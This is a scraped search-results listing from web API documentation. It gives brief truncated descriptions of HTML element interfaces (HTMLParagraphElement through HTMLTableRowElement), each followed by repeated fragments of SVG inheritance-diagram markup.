Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLParagraphElement - Web APIs
f the regular HTMLElement object interface it inherits) for manipulating <p> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLParamElement - Web APIs
esenting a pair of a key and a value that acts as a parameter for an <object> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLPictureElement - Web APIs
resents a <picture> HTML element. It doesn't implement specific properties or methods. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLPreElement - Web APIs
available to it by inheritance) for manipulating a block of preformatted text (<pre>). ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLProgressElement - Web APIs
t by inheritance) for manipulating the layout and presentation of <progress> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLQuoteElement - Web APIs
manipulating quoting elements, like <blockquote> and <q>, but not the <cite> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLScriptElement - Web APIs
is blocked, its element receives an error event; otherwise, it receives a load event. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLSelectElement - Web APIs
ll of the properties and methods of other HTML elements via the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLShadowElement - Web APIs
adowElement interface represents a <shadow> HTML Element, which is used in Shadow DOM. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLSourceElement - Web APIs
erface it also has available to it by inheritance) for manipulating <source> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLSpanElement - Web APIs
HTMLElement interface, but without implementing any additional properties or methods. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLStyleElement - Web APIs
an overview of the objects used to manipulate specified CSS properties using the DOM. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableCaptionElement - Web APIs
e it also has available to it by inheritance) for manipulating table caption elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableCellElement - Web APIs
out and presentation of table cells, either header or data cells, in an HTML document. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableColElement - Web APIs
available to it inheritance) for manipulating single or grouped table column elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableElement - Web APIs
heritance) for manipulating the layout and presentation of tables in an HTML document. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLTableRowElement - Web APIs
by inheritance) for manipulating the layout and presentation of rows in an HTML table. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
